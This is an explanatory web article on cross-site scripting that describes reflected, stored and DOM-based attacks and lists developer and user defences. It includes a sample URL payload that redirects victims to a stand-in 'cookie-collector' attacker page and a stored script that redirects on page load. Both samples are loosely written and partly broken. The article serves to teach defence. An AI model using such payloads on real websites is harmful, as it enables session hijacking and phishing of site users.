Cross-site scripting or XSS can be a potent and swift attack. As the developer, you might even take it for a bug in your code and end up searching for bugs that aren't there.

As a client using the vulnerable website, you can also innocently divulge vital information about your authentication access to the attacker.

So what is cross-site scripting? How can hackers use it to break into a website and steal your data? And how can you mitigate such a risk?

What Is Cross-Site Scripting?

Cross-site scripting or XSS happens if script from a malicious website interacts with code on a vulnerable one.

But servers are wired in a way that prevents people without authentication from accessing and editing your website's source code.

The internet uses the Same Origin Policy (SOP) to block cross-site interactions. However, SOP checks three major security loopholes and tries to mitigate them. They are:

  • Internet protocol policy that checks if both websites deliver content on secure SSL (HTTPS) or an insecure URL (HTTP).
  • The same web host policy, which ensures that you're hosting both websites on the same domain.
  • The port policy that checks if both websites use similar communication endpoints.

SOP holds that if any of these policies are different for any two websites, they can't read or exchange data over the web.

But JavaScript is a manipulative language that determines a website's responsiveness. While your website's JavaScript is most likely in a separate file, you can also create a script tag and write it into your Document Object Model (DOM).

So an XSS attacker might think: "if you can write JavaScript in a DOM, then ultimately you can execute it in any code editor or input field that accepts HTML tags."

Such vulnerability and chance is what an attacker using XSS looks out for on a target website. Once they find such a loophole, they can bypass SOP.

Related: The Ultimate JavaScript Cheat Sheet

XSS, therefore, is an attack that hijackers use to inject a script that performs malicious action into a vulnerable website. The script can target unprotected forms or input fields that accept data.

How Cross-Site Scripting Works and Types, With Examples

An opened code editor containing HTML elements

XSS can be a rapid execution of a reflected or temporary script that an attacker places in forms like search fields. It can also be a nagging or a persistent one injected into the database. Or it could come passively after a page load.

In some cases, this script can also change a victim's original input to divert their intent. A persistent change in a user's inputs like this is a mutating XSS.

In whatever form it comes, the goal of an XSS attack is to steal a victim's data through exposed cookies and logs.

Let's look at a brief explanation of each of these XSS attack types and their examples to understand what they are.

What Is a Reflected XSS?

A reflected or temporary XSS is a direct injection of JavaScript into a user's input field. It targets requests that get data from the database, like search results. But it's a one-client-target attack.

During a reflected XSS, an attacker inserts a script into the search term of a target victim. Such JavaScript might be an echo, a redirect, or a cookie collector.

The script injected into the search input field then gets executed as soon as a target client submits their query.

For example, during a user's search, an attacker might insert a JavaScript that echoes a form, requesting that the victim enters their password or username. Once the user does this, they might end up submitting their credentials unknowingly to an attacker, thinking it's a request from the original site.

Sometimes, the attacker can also use a script to redirect a user from the vulnerable page to their page. There on the attacker's page, an unsuspecting user can then be deceived into submitting a few forms, leading to credential leakage.

Similarly, if the aim is to steal a user's session, the attacker injects a cookie-collecting script into the user's search term. They then hijack the user's current session, steal relevant information, and take over the victim's activities.

The example XSS attack below steals a user's cookie via a GET request:

        http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

In the example XSS above, the attacker finds a loophole on the vulnerable website. So when a user searches for an unavailable resource on the vulnerable site, it redirects them to the attacker's page. The attacker then taps the current user's cookie and grabs their session.

However, this vulnerability is common where a site's query action isn't filtered to check script injections through HTML.

But even if there's a filtered query, an attacker can bypass this by resorting to desperate measures like sending links over to possible real-time users of a website. They can do this using any form of social engineering available to them.

Related: What To Do After Falling for a Phishing Attack

Once victims click such a link, the hijacker can now successfully execute the XSS attack and steal relevant data from the victim.

The Persistent or Stored Cross-Site Scripting

A depiction of the database

The stored XSS poses more threats. In this case, an attacker stores the script in a website's database, triggering a persistent execution of the stored script. The stored code can run on page load or after page load.

Unlike the temporary form of XSS, a stored XSS targets the entire user-base of the vulnerable website. In addition to that, it targets the integrity of the affected website as well.

During a persistent XSS, an attacker uses input fields such as comment forms to post the script into a website's database.

But what if you protect POST fields with CSRF tokens? Unfortunately, stored cross-site scripting bypasses CSRF checks.

That's because the attacker submits a form like every other user of the website. So, such a comment form sends the script to the database as it does all other comments.

Such an attack can happen when input fields on a website don't use proper sanitizers for escaping scripts and HTML tags.

Imagine a user posting the script below using a web comment form:

        <body onload = maLicious()>
<script>
function malCode(){
window.location.replace("attackerswebpage URL");
}
</script>
<body/>

When an attacker inserts a code like that into a website's database, it keeps redirecting a victim to the attacker's website on page load. The script could also be an alert, an interactive modal box, or an embedded malicious ad.

Because the script redirects on page load, a victim who's unfamiliar with the vulnerable website might fail to notice the redirect.

They then go ahead interacting with the attacker's website. However, the hijacker can then use several means to get information from the victims once they're on their webpage.

What Is a DOM or Passive XSS?

HTML arranged marbles

A DOM-based XSS executes a malicious code embedded into the website, forcing the entire DOM on the client-side to behave unusually.

While stored and reflected XSS targets server-side requests on a website, a DOM XSS targets runtime activities. It works by inserting a script into a website's component that performs a specific task. That component doesn't execute a server-side action.

However, the script inserted into such a component changes its intent completely. If this component performs a DOM-related task, such as those that change a website's elements, the script might force the entire webpage to change.

In worse cases, a DOM-based XSS can imitate a bug. That's because the webpage becomes unusually reactive.

How to Prevent Cross-Site Scripting Attack

An XSS vulnerability comes from improper use of best backend practices. So preventing a cross-site scripting attack is usually the responsibility of the developer. But users also have a role to play.

Using a CSFR token for input fields doesn't seem like a solution to XSS attacks. And since this attack also bypasses the Same Origin Policy, developers need to be careful not to omit security practices that prevent XSS.

The following preventive measures are helpful for developers.

Sanitize Inputs Fields

To prevent both stored and temporary XSS, you should use efficient sanitizers for input fields. Sanitizing search queries, for instance, prevents tag injection into users' search terms.

Use Unicode and HTML Auto Escape

It's helpful to use HTML and Unicode auto escape to prevent input fields like comment and conversion forms from accepting scripts and HTML tags. Auto escape is a potent preventive measure against stored or persistent XSS.

Filter Specific Tags Out

Allowing users to insert tags into comment forms is a bad idea for any website. It's a security breach. However, if you must allow that, you should only accept tags that don't pose XSS threats.

Use Appropriate Input Validation

Even if you block tags completely, an attacker can still carry out an XSS attack through social means. They can send emails instead of placing anything directly on the vulnerable website.

So another method of preventing it is to validate inputs efficiently. Such measures include validating protocols and ensuring that your website only accepts inputs from secure HTTPS and not HTTP.

Using dedicated JavaScript libraries like dompurify can also help block XSS-related security breaches.

You can use tools like XSS Scanner or GEEKFLARE to check for XSS vulnerabilities on your website.

How Users Can Prevent XSS

There are millions of websites on the internet today. So you can hardly tell which one has XSS security issues.

However, as a user, you should ensure that you're familiar with any web service before using it. If a webpage becomes suddenly creepy or starts behaving unusually, this can be a red flag.

Whatever the case is, be careful not to disclose personal data with an untrusted third-party. Then be on the lookout for unsolicited emails or suspicious social media posts that can result in any form of phishing attacks.

No Single Preventive Method Fits All

We've seen what an XSS attack looks like and how to prevent it. It's easy to forget XSS security checks during development. So developers should take steps to ensure protection is not omitted. However, a combination of the preventive measures we listed earlier works better.